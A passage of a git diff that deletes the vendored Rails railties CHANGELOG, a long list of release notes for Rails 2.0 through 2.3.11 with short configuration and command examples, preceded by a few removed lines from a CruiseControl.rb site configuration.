-BuildReaper.number_of_builds_to_keep = 100
-
-# any files that you'd like to override in cruise, keep in ~/.cruise, and copy over when this file is loaded like this
-site_css = CRUISE_DATA_ROOT + "/site.css"
-FileUtils.cp site_css, RAILS_ROOT + "/public/stylesheets/site.css" if File.exists? site_css
diff --git a/vendor/rails/railties/CHANGELOG b/vendor/rails/railties/CHANGELOG
deleted file mode 100644
index 2e292142..00000000
--- a/vendor/rails/railties/CHANGELOG
+++ /dev/null
@@ -1,2193 +0,0 @@
-*2.3.11 (February 9, 2011)*
-
-*2.3.10 (October 15, 2010)*
-
-*2.3.9 (September 4, 2010)*
-
-* Deprecates config.load_(once_)paths in favor of autolaod_(once_)paths. [fxn]
-
-
-*2.3.8 (May 24, 2010)*
-*2.3.7 (May 24, 2010)*
-
-* Version bump.
-
-
-*2.3.6 (May 23, 2010)*
-
-* Added config/initializers/cookie_verification_secret.rb with an auto-generated secret for using ActionController::Base#cookies.signed [DHH]
-
-* Fixed that the debugger wouldn't go into IRB mode because of left-over ARGVs [DHH]
-
-
-*2.3.5 (November 25, 2009)*
-
-* Ruby 1.9 compatibility
-
-
-*2.3.4 (September 4, 2009)*
-
-* I18n support for plugins.  #2325 [Antonio Tapiador, Sven Fuchs]
-
-
-*2.3.3 (July 12 2009)
-
-* Version bump
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* Allow metal to live in plugins #2045 [Matthew Rudy]
-
-* Added metal [Josh Peek]
-
-* Remove script/performance/request in favour of the performance integration tests. [Pratik Naik]
-
-  To continue using script/performance/request, install the request_profiler plugin :
-
-    script/plugin install git://github.com/rails/request_profiler.git
-
-* Add a rake task to apply a template to an existing application : rake rails:template LOCATION=~/template.rb [Pratik Naik]
-
-* Add "-m/--template" option to Rails generator to apply a template to the generated application. [Jeremy McAnally]
-
-    This has been extracted from rg - http://github.com/jeremymcanally/rg
-    
-    Example:
-    
-        # template.rb
-        
-        # Install plugins from git or svn
-        plugin "will-paginate", :git => "git://github.com/mislav/will_paginate.git"
-        plugin "old-restful-auth", :svn => "http://svn.techno-weenie.net/projects/plugins/restful_authentication/"
-    
-        # Add gems to environment.rb
-        gem "jeremymcanally-context"
-        gem "bluecloth"
-    
-        # Vendor file. Data in a string or...
-        vendor("borrowed.rb", <<CODE
-          def helpful_method
-            do_something_helpful_here
-          end
-        CODE
-    
-        # ...file data from block return value.
-        # #initializer creates a new initializer file
-        initializer("crypto.rb") do
-          salt = "--#{Time.now}--#{rand}--#{srand(Time.now.to_i)}"
-    
-          "SPECIAL_SALT = '#{salt}'"
-        end
-    
-    Usage:
-    
-      To use a template, provide a file path or URL:
-    
-      1. Using a local file :
-
-        rails <application name> -m /path/to/my/template.rb
-        
-      2. Or directly from a URL :
-
-        rails <application name> --template=http://gist.github.com/31208.txt
-
-* Extracted the process scripts (inspector, reaper, spawner) into the plugin irs_process_scripts [David Heinemeier Hansson]
-
-* Changed Rails.root to return a Pathname object (allows for Rails.root.join('app', 'controllers') => "#{RAILS_ROOT}/app/controllers") #1482 [Damian Janowski/?]
-
-* Added view path support for engines [David Heinemeier Hansson]
-
-* Added that config/routes.rb files in engine plugins are automatically loaded (and reloaded when they change in dev mode) [David Heinemeier Hansson]
-
-* Added app/[models|controllers|helpers] to the load path for plugins that has an app directory (go engines ;)) [David Heinemeier Hansson]
-
-* Add config.preload_frameworks to load all frameworks at startup. Default to false so Rails autoloads itself as it's used. Turn this on for Passenger and JRuby. Also turned on by config.threadsafe!  [Jeremy Kemper]
-
-* Add a rake task to generate dispatchers : rake rails:generate_dispatchers [Pratik Naik]
-
-* "rails <app>" will not generate public/dispatch.cgi/fcgi/rb files by default now. Please use "--with-dispatchers" option if you need them. [Yaroslav Markin, Pratik Naik]
-
-* Added rake rails:update:application_controller to renamed application.rb to application_controller.rb -- included in rake rails:update so upgrading to 2.3 will automatically trigger it #1439 [kastner]
-
-* Added Rails.backtrace_cleaner as an accessor for the Rails::BacktraceCleaner instance used by the framework to cut down on backtrace noise and config/initializers/backtrace_silencers.rb to add your own (or turn them all off) [David Heinemeier Hansson]
-
-* Switch from Test::Unit::TestCase to ActiveSupport::TestCase.  [Jeremy Kemper]
-
-* Added config.i18n settings gatherer to config/environment, auto-loading of all locales in config/locales/*.rb,yml, and config/locales/en.yml as a sample locale [David Heinemeier Hansson]
-
-* BACKWARDS INCOMPATIBLE: Renamed application.rb to application_controller.rb and removed all the special casing that was in place to support the former. You must do this rename in your own application when you upgrade to this version [David Heinemeier Hansson]
-
-
-*2.2.1 [RC2] (November 14th, 2008)*
-
-* Fixed plugin generator so that generated unit tests would subclass ActiveSupport::TestCase, also introduced a helper script to reduce the needed require statements #1137 [Mathias Meyer]
-
-* Update Prototype to 1.6.0.3 [sam]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* Fixed that sqlite would report "db/development.sqlite3 already exists" whether true or not on db:create #614 [Antonio Cangiano]
-
-* Added config.threadsafe! to toggle allow concurrency settings and disable the dependency loader [Josh Peek]
-
-* Turn cache_classes on by default [Josh Peek]
-
-* Added configurable eager load paths. Defaults to app/models, app/controllers, and app/helpers [Josh Peek]
-
-* Introduce simple internationalization support.  [Ruby i18n team]
-
-* Make script/plugin install <plugin> -r <revision> option work with git based plugins. #257. [Tim Pope Jakub Kuźma]. Example:
-
-  script/plugin install git://github.com/mislav/will_paginate.git -r agnostic # Installs 'agnostic' branch
-  script/plugin install git://github.com/dchelimsky/rspec.git -r 'tag 1.1.4'
-
-* Added Rails.initialized? flag [Josh Peek]
-
-* Make rake test:uncommitted work with Git. [Tim Pope]
-
-* Added Thin support to script/server.  #488 [Bob Klosinski]
-
-* Fix script/about in production mode.  #370 [Cheah Chu Yeow, Xavier Noria, David Krmpotic]
-
-* Add the gem load paths before the framework is loaded, so certain gems like RedCloth and BlueCloth can be frozen.
-
-* Fix discrepancies with loading rails/init.rb from gems.
-
-* Plugins check for the gem init path (rails/init.rb) before the standard plugin init path (init.rb)  [Jacek Becela]
-
-* Changed all generated tests to use the test/do declaration style [David Heinemeier Hansson]
-
-* Wrapped Rails.env in StringInquirer so you can do Rails.env.development? [David Heinemeier Hansson]
-
-* Fixed that RailsInfoController wasn't considering all requests local in development mode (Edgard Castro) [#310 state:resolved]
-
-
-*2.1.0 (May 31st, 2008)*
-
-* script/dbconsole fires up the command-line database client.  #102 [Steve Purcell]
-
-* Fix bug where plugin init.rb files from frozen gem specs weren't being run.  (pjb3) [#122 state:resolved]
-
-* Made the location of the routes file configurable with config.routes_configuration_file (Scott Fleckenstein) [#88]
-
-* Rails Edge info returns the latest git commit hash [Francesc Esplugas]
-
-* Added Rails.public_path to control where HTML and assets are expected to be loaded from (defaults to Rails.root + "/public") #11581 [Nick Sieger]
-
-* rake time:zones:local finds correct base utc offset for zones in the Southern Hemisphere [Geoff Buesing]
-
-* Don't require rails/gem_builder during rails initialization, it's only needed for the gems:build task. [Rick Olson]
-
-* script/performance/profiler compatibility with the ruby-prof >= 0.5.0. Closes #9176. [Jonathan del Strother]
-
-* Flesh out rake gems:unpack to unpack all gems, and add rake gems:build for native extensions. #11513 [ddollar]
-
-  rake gems:unpack             # unpacks all gems
-  rake gems:unpack GEM=mygem   # unpacks only the gem 'mygem'
-  
-  rake gems:build              # builds all unpacked gems
-  rake gems:build GEM=mygem    # builds only the gem 'mygem'
-
-* Add config.active_support for future configuration options.  Also, add more new Rails 3 config settings to new_rails_defaults.rb [Rick Olson]
-
-* Add Rails.logger, Rails.root, Rails.env and Rails.cache shortcuts for RAILS_* constants [Pratik Naik]
-
-* Allow files in plugins to be reloaded like the rest of the application.  [Rick Olson]
-
-  Enables or disables plugin reloading.
-  
-    config.reload_plugins = true
-  
-  You can get around this setting per plugin.
-  If #reload_plugins? == false (DEFAULT), add this to your plugin's init.rb to make it reloadable:
-  
-    Dependencies.load_once_paths.delete lib_path
-  
-  If #reload_plugins? == true, add this to your plugin's init.rb to only load it once:
-  
-    Dependencies.load_once_paths << lib_path
-
-* Small tweak to allow plugins to specify gem dependencies.  [Rick Olson]
-
-  # OLD open_id_authentication plugin init.rb
-  require 'yadis'
-  require 'openid'
-  ActionController::Base.send :include, OpenIdAuthentication
-
-  # NEW
-  config.gem "ruby-openid", :lib => "openid", :version => "1.1.4"
-  config.gem "ruby-yadis",  :lib => "yadis",  :version => "0.3.4"
-
-  config.after_initialize do
-    ActionController::Base.send :include, OpenIdAuthentication
-  end
-
-* Added config.gem for specifying which gems are required by the application, as well as rake tasks for installing and freezing gems. [Rick Olson]
-
-  Rails::Initializer.run do |config|
-    config.gem "bj"
-    config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net"
-    config.gem "aws-s3", :lib => "aws/s3"
-  end
-  
-  # List required gems.
-  rake gems
-  
-  # Install all required gems:
-  rake gems:install
-  
-  # Unpack specified gem to vendor/gems/gem_name-x.x.x
-  rake gems:unpack GEM=bj
-
-* Removed the default .htaccess configuration as there are so many good deployment options now (kept it as an example in README) [David Heinemeier Hansson]
-
-* config.time_zone accepts TZInfo::Timezone identifiers as well as Rails TimeZone identifiers [Geoff Buesing]
-
-* Rails::Initializer#initialize_time_zone raises an error if value assigned to config.time_zone is not recognized. Rake time zone tasks only require ActiveSupport instead of entire environment [Geoff Buesing]
-
-* Stop adding the antiquated test/mocks/* directories and only add them to the path if they're still there for legacy reasons [David Heinemeier Hansson]
-
-* Added that gems can now be plugins if they include rails/init.rb #11444 [John Barnette]
-
-* Added Plugin#about method to programmatically access the about.yml in a plugin #10979 [James Adam]
-
-    plugin = Rails::Plugin.new(path_to_my_plugin)
-    plugin.about["author"] # => "James Adam"
-    plugin.about["url"] # => "http://interblah.net"
-
-* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria,  Sunny Ripert]
-
-* Added config.time_zone = 'UTC' in the default environment.rb [Geoff Buesing]
-
-* Added rake tasks time:zones:all, time:zones:us and time:zones:local for finding time zone names for config.time_zone option [Geoff Buesing]
-
-* Add config.time_zone for configuring the default Time.zone value.  #10982 [Geoff Buesing]
-
-* Added support for installing plugins hosted at git repositories #11294 [Jack Danger Canty]
-
-* Fixed that script/generate would not look for plugin generators in plugin_paths #11000 [glv]
-
-* Fixed database rake tasks to work with charset/collation and show proper error messages on failure. Closes #11301 [matt]
-
-* Added a -e/--export to script/plugin install, uses svn export. #10847 [jon@blankpad.net)]
-
-* Reshuffle load order so that routes and observers are initialized after plugins and app initializers.  Closes #10980 [Rick Olson]
-
-* Git support for script/generate.  #10690 [ssoroka]
-
-* Update scaffold to use labels instead of bold tags.  Closes #10757 [zach-inglis-lt3]
-
-* Resurrect WordNet synonym lookups.  #10710 [tom./, matt]
-
-* Added config.cache_store to environment options to control the default cache store (default is FileStore if tmp/cache is present, otherwise MemoryStore is used) [David Heinemeier Hansson]
-
-* Added that rails:update is run when you do rails:freeze:edge to ensure you also get the latest JS and config files #10565 [jeff]
-
-* SQLite: db:drop:all doesn't fail silently if the database is already open.  #10577 [Cheah Chu Yeow, mrichman]
-
-* Introduce native mongrel handler and push mutex into dispatcher.  [Jeremy Kemper]
-
-* Ruby 1.9 compatibility.  #1689, #10546 [Cheah Chu Yeow, frederico]
-
-
-*2.0.2* (December 16th, 2007)
-
-* Changed the default database from mysql to sqlite3, so now running "rails myapp" will have a config/database.yml that's setup for SQLite3 (which in OS X Leopard is installed by default, so is the gem, so everything Just Works with no database configuration at all). To get a Rails application preconfigured for MySQL, just run "rails -d mysql myapp" [David Heinemeier Hansson]
-
-* Turned on ActionView::Base.cache_template_loading by default in config/environments/production.rb to prevent file system stat calls for every template loading to see if it changed (this means that you have to restart the application to see template changes in production mode) [David Heinemeier Hansson]
-
-* Introduce `rake secret` to output a crytographically secure secret key for use with cookie sessions #10363 [revans]
-
-* Fixed that local database creation should consider 127.0.0.1 local #9026 [parcelbrat]
-
-* Fixed that functional tests generated for scaffolds should use fixture calls instead of hard-coded IDs #10435 [boone]
-
-* Added db:migrate:redo and db:migrate:reset for rerunning existing migrations #10431, #10432  [matt]
-
-* RAILS_GEM_VERSION may be double-quoted also.  #10443 [James Cox]
-
-* Update rails:freeze:gems to work with RubyGems 0.9.5.  [Jeremy Kemper]
-
-
-*2.0.1* (December 7th, 2007)
-
-* Fixed Active Record bug
-
-
-*2.0.0* (December 6th, 2007)
-
-* The test task stops with a warning if you have pending migrations.  #10377 [Josh Knowles]
-
-* Add warning to documentation about using transactional fixtures when the code under test uses transactions itself. Closes #7548 [Thijs van der Vossen]
-
-* Update Prototype to 1.6.0.1.  [sam]
-
-* Update script.aculo.us to 1.8.0.1.  [madrobby]
-
-* Added db:fixtures:identity as a way of locating what ID a foxy fixture was assigned #10332 [John Barnette]
-
-* Generated fixtures should not specify ids since theyre expected to be foxy fixtures #10330 [John Barnette]
-
-* Update to Prototype -r8232.  [sam]
-
-* Introduce SecretKeyGenerator for more secure session secrets than CGI::Session's pseudo-random id generator. Consider extracting to Active Support later.  #10286 [Hongli Lai (Phusion)]
-
-* RAILS_GEM_VERSION may be set to any valid gem version specifier.  #10057 [Chad Woolley, Cheah Chu Yeow]
-
-* Load config/preinitializer.rb, if present, before loading the environment.  #9943 [Chad Woolley]
-
-* FastCGI handler ignores unsupported signals like USR2 on Windows.  [Grzegorz Derebecki]
-
-* Only load ActionMailer::TestCase if ActionMailer is loaded.  Closes #10137 [defunkt]
-
-* Fixed that db:reset would use migrations instead of loading db/schema.rb [David Heinemeier Hansson]
-
-* Ensure the plugin loader only loads plugins once.  Closes #10102 [haruki_zaemon]
-
-* Refactor Plugin Loader.  Add plugin lib paths early, and add lots of tests.  Closes #9795 [James Adam]
-
-* Added --skip-timestamps to generators that produce models #10036 [Tim Pope]
-
-* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0.  [sam, madrobby]
-
-* Added db:rollback to rollback the schema one version (or multiple as specified by STEP) [Jeffrey Allan Hardy]
-
-* Fix typo in test_helper. Closes #9925 [viktor tron]
-
-* Request profiler.  [Jeremy Kemper]
-
-* config/boot.rb correctly detects RAILS_GEM_VERSION.  #9834 [alexch, thewoolleyman]
-
-* Fixed incorrect migration number if script/generate executed outside of Rails root #7080 [Jeremy McAnally]
-
-* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0.  [sam, madrobby]
-
-* Generated fixtures use the actual primary key instead of id.  #4343 [Frederick Ros, Tarmo Tänav]
-
-* Extend the console +helper+ method to allow you to include custom helpers.  e.g:
-  >> helper :posts
-  >> helper.some_method_from_posts_helper(Post.find(1))
-
-* db:create works with remote databases whereas db:create:all only creates
-databases on localhost.  #9753 [Trevor Wennblom]
-
-* Removed calls to fixtures in generated tests as fixtures :all is now present by default in test_helper.rb [David Heinemeier Hansson]
-
-* Add --prefix option to script/server when using mongrel. [dacat]
-
-
-*2.0.0 [Preview Release]* (September 29th, 2007) [Includes duplicates of changes from 1.1.4 - 1.2.3]
-
-* Fixed that installing plugins from SVN repositories that use trunk/ will work #8188 [evan]
-
-* Moved the SourceAnnotationExtractor to a separate file in case libraries try to load the rails rake tasks twice. [Rick Olson]
-
-* Moved Dispatcher to ActionController::Dispatcher.  [Jeremy Kemper]
-
-* Changed the default logger from Ruby's own Logger with the clean_logger extensions to ActiveSupport::BufferedLogger for performance reasons [David Heinemeier Hansson]. (You can change it back with config.logger = Logger.new("/path/to/log", level).)
-
-* Added a default 422.html page to be rendered when ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved, or ActionController::InvalidAuthenticityToken is raised [David Heinemeier Hansson]
-
-* Added --skip-fixture option to script/generate model #6862 [sandofsky]
-
-* Print Rails version when starting console #7440 [eyematz]
-
-* Fixed the placement of fixture files for nested models when generating through script/generate model #7547 [jkit]
-
-* Added TEMPLATE option to rake doc:app to set a custom output template #7737 [Jakob Skjerning]
-
-* Added VERBOSE option to rake db:migrate to turn off output #8204 [John Barnette]
-
-* Fixed that rake doc:app should use UTF-8 #8906 [farzy]
-
-* Fixes rake annotations to search erb and builder files as well #9150 [m.langenberg]
-
-* Removed web_service generator [Michael Koziarski]
-
-* Added the :all option to config.plugins that'll include the rest of the plugins not already explicitly named #9613 [Frederick Cheung]. Example:
-
-    # Loads :classic_pagination before all the other plugins
-    config.plugins = [ :classic_pagination, :all ]
-
-* Added symbols as a legal way of specifying plugins in config.plugins #9629 [tom]
-
-* Removed deprecated task names, like clear_logs, in favor of the new namespaced style [David Heinemeier Hansson]
-
-* Support multiple config.after_initialize blocks so plugins and apps can more easily cooperate.  #9582 [Zach Dennis]
-
-* Added db:drop:all to drop all databases declared in config/database.yml [David Heinemeier Hansson]
-
-* Use attribute pairs instead of the migration name to create add and remove column migrations.  Closes #9166 [Pratik Naik]
-
-	For example:
-
-	ruby script/generation migration AddSomeStuffToCustomers first_name:string last_name:string
-	
-	or
-	
-	ruby script/generation migration RemoveSomeStuffFromCustomers first_name:string last_name:string
-
-* Add ActiveResource to Rails::Info.  Closes #8741 [Chris Kampmeier]
-
-* use Gem.find_name instead of search when freezing gems.  Prevent false positives for other gems with rails in the name. Closes #8729 [wselman]
-
-* Automatically generate add/remove column commands in specially named migrations like AddLocationToEvent.  Closes #9006 [Ryan Davis]
-
-* Default to plural table name in Rails Generator if ActiveRecord is not present.  Closes #8963 [evan]
-
-* Added rake routes for listing all the defined routes in the system.  #8795 [Josh Peek]
-
-* db:create creates the database for the current environment if it's on localhost. db:create:all creates local databases for all environments.  #8783 [matt]
-
-* Generators: look for generators in all gems, not just those suffixed with _generator, in the gem's generators or rails_generators directory. Allow use of the rails_generators directory instead of the standard generators directory in plugins also.  #8730 [Dr Nic, topfunky]
-
-* MySQL, PostgreSQL: database.yml defaults to utf-8.  #8701 [matt]
-
-* Added db:version to get the current schema number [via Err The Blog]
-
-* Added --skip-migration option to scaffold and resource generators #8656 [Michael Glaesemann]
-
-* Fix that FCGIs would leave log files open when asked to shut down by USR2.  #3028 [Sebastian Kanthak, Josh Peek]
-
-* Fixed that dispatcher preparation callbacks only run once in production mode.  Mock Routes.reload so that dispatcher preparation callback tests run. [Rick Olson]
-
-* Fix syntax error in dispatcher than wrecked failsafe responses.  #8625 [mtitorenko]
-
-* Scaffolded validation errors set the appropriate HTTP status for XML responses.  #6946, #8622 [Manfred Stienstra, mmmultiworks]
-
-* Sexy migrations for the session_migration generator.  #8561 [Vladislav]
-
-* Console reload! runs to_prepare callbacks also.  #8393 [f.svehla]
-
-* Generated migrations include timestamps by default.  #8501 [Shane Vitarana]
-
-* Drop Action Web Service from rails:freeze:edge.  [Jeremy Kemper]
-
-* Add db:create, drop, reset, charset, and collation tasks.  #8448 [matt]
-
-* Scaffold generator depends on model generator instead of duplicating it.  #7222 [bscofield]
-
-* Scaffold generator tests.  #8443 [pelle]
-
-* Generated scaffold functional tests use assert_difference.  #8421 [Norbert Crombach]
-
-* Update to Prototype 1.5.1.  [Sam Stephenson]
-
-* Update to script.aculo.us 1.7.1_beta3.  [Thomas Fuchs]
-
-* Generators use *.html.erb view template naming.  #8278 [Tim Pope]
-
-* Updated resource_scaffold and model generators to use short-hand style migrations [David Heinemeier Hansson]
-
-* Updated initializer to only load #{RAILS_ENV}.rb once. Added deprecation warning for config.breakpoint_server. [Nicholas Seckar]
-
-* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back [David Heinemeier Hansson]
-
-  To use the new debugger, start your server with script/server --debugger and insert a call to  'debugger'
-  (instead of 'breakpoint') where you want to jump into the debugger. 
-  
-  BACKWARDS INCOMPATIBILITY NOTE: You must remove the default line 12 from config/environments/development.rb:
-  
-    config.breakpoint_server = true
-  
-  This configuration option is no longer available. Rails will fail to start in development mode as long as 
-  that's still present.
-
-* Resource scaffolding returns the created entity.to_xml.  [Jeremy Kemper]
-
-* Resource scaffolding responds to new.xml.  #8185 [Eric Mill]
-
-* Include Active Resource in rails:freeze:edge rake task.  [Thomas Fuchs]
-
-* Include Active Resource instead of Action Web Service [David Heinemeier Hansson] You can add AWS back with this in config/environment.rb:
-
-    config.load_paths += %W( #{RAILS_ROOT}/vendor/rails/actionwebservice/lib )
-  
-  ...or just gem 'actionwebservice'
-
-* Give generate scaffold a more descriptive database message.  Closes #7316 [Jeremy McAnally]
-
-* Canonicalize RAILS_ROOT by using File.expand_path on Windows, which doesn't have to worry about symlinks, and Pathname#realpath elsewhere, which respects symlinks in relative paths but is incompatible with Windows.  #6755 [Jeremy Kemper, trevor]
-
-* Deprecation: remove components from controller paths.  [Jeremy Kemper]
-
-* Add environment variable RAILS_DEFAULT_DATABASE, which allows the builtin default of 'mysql' to be overridden. [Nicholas Seckar]
-
-* Windows: include MinGW in RUBY_PLATFORM check.  #2982 [okkez000@gmail.com, Kaspar Schiess]
-
-* Split out the basic plugin locator functionality into an abstract super class. Add a FileSystemLocator to do the job of checking the plugin_paths for plugins. Add plugin_locators configuration option which will iterate over the set of plugin locators and load each of the plugin loaders they return. Rename locater everywhere to locator. [Marcel Molina Jr.] 
-
-* Split plugin location and loading out of the initializer and into a new Plugin namespace, which includes Plugin::Locater and Plugin::Loader. The loader class that is used can be customized using the config.plugin_loader option.  Those monkey patching the plugin loading subsystem take note, the internals changing here will likely break your modifications. The good news is that it should be substantially easier to hook into the plugin locating and loading process now.  [Marcel Molina Jr.]
-
-* Added assumption that all plugin creators desire to be sharing individuals and release their work under the MIT license [David Heinemeier Hansson]
-
-* Added source-annotations extractor tasks to rake [Jamis Buck]. This allows you to add FIXME, OPTIMIZE, and TODO comments to your source code that can then be extracted in concert with rake notes (shows all), rake notes:fixme, rake notes:optimize and rake notes:todo.
-
-* Added fixtures :all to test_helper.rb to assume that most people just want all their fixtures loaded all the time [David Heinemeier Hansson]
-
-* Added config/initializers where all ruby files within it are automatically loaded after the Rails configuration is done, so you don't have to litter the environment.rb file with a ton of mixed stuff [David Heinemeier Hansson]
-
-* For new apps, generate a random secret for the cookie-based session store.  [Jeremy Kemper]
-
-* Stop swallowing errors during rake test [Michael Koziarski]
-
-* Update Rails Initializer to use ActionController::Base#view_paths [Rick Olson]
-
-* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ [Chad Fowler]
-
-* Plugins may be symlinked in vendor/plugins.  #4245 [brandon, progrium@gmail.com]
-
-* Resource generator depends on the model generator rather than duplicating it.  #7269 [bscofield]
-
-* Add/Update usage documentation for script/destroy, resource generator and scaffold_resource generator.  Closes #7092, #7271, #7267.  [bscofield]
-
-* Update to script.aculo.us 1.7.0.  [Thomas Fuchs]
-
-* Update to Prototype 1.5.0. [Sam Stephenson]
-
-* Generator: use destination path for diff tempfiles.  #7015 [alfeld]
-
-* Fixed that webrick would strip leading newlines and hang connection #4156 [psross]
-
-* Ensure plugins are in the Dependencies.load_once_paths collection by default.  [Rick Olson]
-  If you really want your plugins to reload, add this to the very top of init.rb:
-  
-    Dependencies.load_once_paths.delete(lib_path)
-
-* Allow config.to_prepare to work, make the dispatcher safe to 're require'. [Michael Koziarski, Nicholas Seckar]
-
-* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file.  Closes #6852 [fearoffish]
-
-* Fix Webrick Daemon dispatching bug regarding a bad current working directory.  Closes #4899 [Rick Olson]
-
-* Make config.plugins affect the load path and the dependencies system.  Allows you to control plugin loading order, and keep disabled plugins off the load path. [James Adam]
-
-* Don't generate a components directory in new Rails apps.  [Jeremy Kemper]
-
-* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [David Heinemeier Hansson]
-
-* Added one-letter aliases for the three default environments to script/console, so script/console p will load the production environment (t for test, d for development) [David Heinemeier Hansson]
-
-* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [David Heinemeier Hansson]
-
-* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. [Nicholas Seckar]
-
-* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [David Heinemeier Hansson]
-
-* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [David Heinemeier Hansson]
-
-* Update to Prototype and script.aculo.us [5579]. [Thomas Fuchs]
-
-* Made script/server work with -e and -d when using Mongrel [David Heinemeier Hansson]
-
-* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again [Thomas Fuchs]
-
-* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Lütke]
-
-* Rails::VERSION::STRING should always be available without having to require 'rails/version'.  #6244 [fearoffish]
-
-* Update to Prototype 1.5.0_rc2. [Sam Stephenson]
-
-* Add grep-based fallback to reaper, to work in pidless setups [Jamis Buck]
-
-* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished.  [Jeremy Kemper]
-
-* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. [Nicholas Seckar]
-
-* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT.  #6584 [jchris]
-
-* Remove temporary crutch to help ApplicationController be unloaded. Closes #6496. [Nicholas Seckar]
-
-* scaffold_resource generator uses _path named routes and head instead of render :nothing => true.  #6545 [Josh Susser]
-
-* Generator can show diff on file collision to help you decide whether to skip or overwrite.  #6364 [jeffw, Jeremy Kemper]
-
-* Generated directories are recursively svn added, like mkdir -p.  #6416 [NeilW]
-
-* resource and scaffold_resource generators add a restful route to config/routes.rb  [Jeremy Kemper]
-
-* Revert environment changes for autoload_paths. [Michael Koziarski]
-
-* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions [Thomas Fuchs]
-
-* Clean up the output of rake stats,  de-emphasise components and apis, and remove the indents for tests [Michael Koziarski]
-
-* Added option to script/process/spawner of specifying the binding address #5133 [Dee Zsombor]
-
-* Update environment.rb comments to include config.autoload_paths. Closes #6478 [caio]
-
-* Update scaffold to use new form_tag block functionality.  Closes #6480. [Bob Silva]
-
-* Plugin generator: check for class collisions.  #4833 [vinbarnes@gmail.com]
-
-* Mailer generator: handle mailers in modules, set mime_version in unit test.  [Jeremy Kemper]
-
-* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. [Michael Koziarski]
-
-* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
-
-    config.plugins = %w[ routing_navigator simply_helpful ]
-
-* Clean up html on included error pages. [Tim Lucas]
-
-* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language [David Heinemeier Hansson]
-
-* Update to latest Prototype and script.aculo.us trunk versions [Thomas Fuchs]
-
-* PostgreSQL: db:test:purge closes open database connections first.  #6236 [alex]
-
-* Fixed test:uncommitted on Windows (backslash issue) #4999 [paul@paulbutcher.com]
-
-* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 [Bob Silva]
-
-* Fixed rename_table on SQLite tables with indexes defined #5942 [brandon@opensoul.org]
-
-* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations [David Heinemeier Hansson]
-
-* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
-
-    ./script/generate model post title:string created_on:date body:text published:boolean
-
-* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined [David Heinemeier Hansson]
-
-* script/runner can run files, pass on arguments, and be used as a shebang.  #6286 [Tuxie, dlpond]
-    #!/usr/bin/env /path/to/my/app/script/runner
-    # Example: just start using your models as if you are in script/console
-    Product.find(:all).each { |product| product.check_inventory }
-
-* Look for rake tasks in plugin subdirs.  #6259 [obrie]
-
-* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb [David Heinemeier Hansson]
-
-* Updated prototype.js to 1.5.0_rc1 with latest fixes. [Rick Olson]
-
-  - XPATH support
-  - Make Form.getElements() return elements in the correct order
-  - fix broken Form.serialize return
-
-* session_migration generator adds an index on updated_at.  #6207 [grg]
-
-* script/server creates the tmp/pids directory.  #6204 [jonathan]
-
-* Fix script/console --sandbox for internal transactions changes.  #5738 [Chris McGrath, charles.gerungan@gmail.com]
-
-* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
-documented in initializer.rb, the workaround is:
-  
-  config.autoload_paths += Dir[RAILS_ROOT + '/app/models/*/']
-  
-References #6031. [Nicholas Seckar]
-
-* Update to script.aculo.us 1.6.3 [Thomas Fuchs]
-
-* Update to Prototype 1.5.0_rc1 [sam]
-
-* Formally Deprecate the old rake tasks. [Michael Koziarski]
-
-* Thoroughly test the FCGI dispatcher.  #5970 [Kevin Clark]
-
-* Remove Dir.chdir in the Webrick DispatchServlet#initialize method.  Fix bad path errors when trying to load config/routes.rb.  [Rick Olson]
-
-* Tighten rescue clauses.  #5985 [james@grayproductions.net]
-
-* Cleaning up tests. [Kevin Clark, Jeremy Kemper]
-
-* Add Dependencies.load_once_paths. [Nicholas Seckar]
-
-* Updated to script.aculo.us 1.6.2 [Thomas Fuchs]
-
-* Assign Routing.controller_paths; fix script/about and rails info controller. [Nicholas Seckar]
-
-* Don't warn dispatcher of Reloadable deprecations. [Nicholas Seckar]
-
-* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base [Rick Olson]
-
-  ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
-  ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
-
-* Add missing mock directories from the autoload_paths configuration.  [Rick Olson]
-
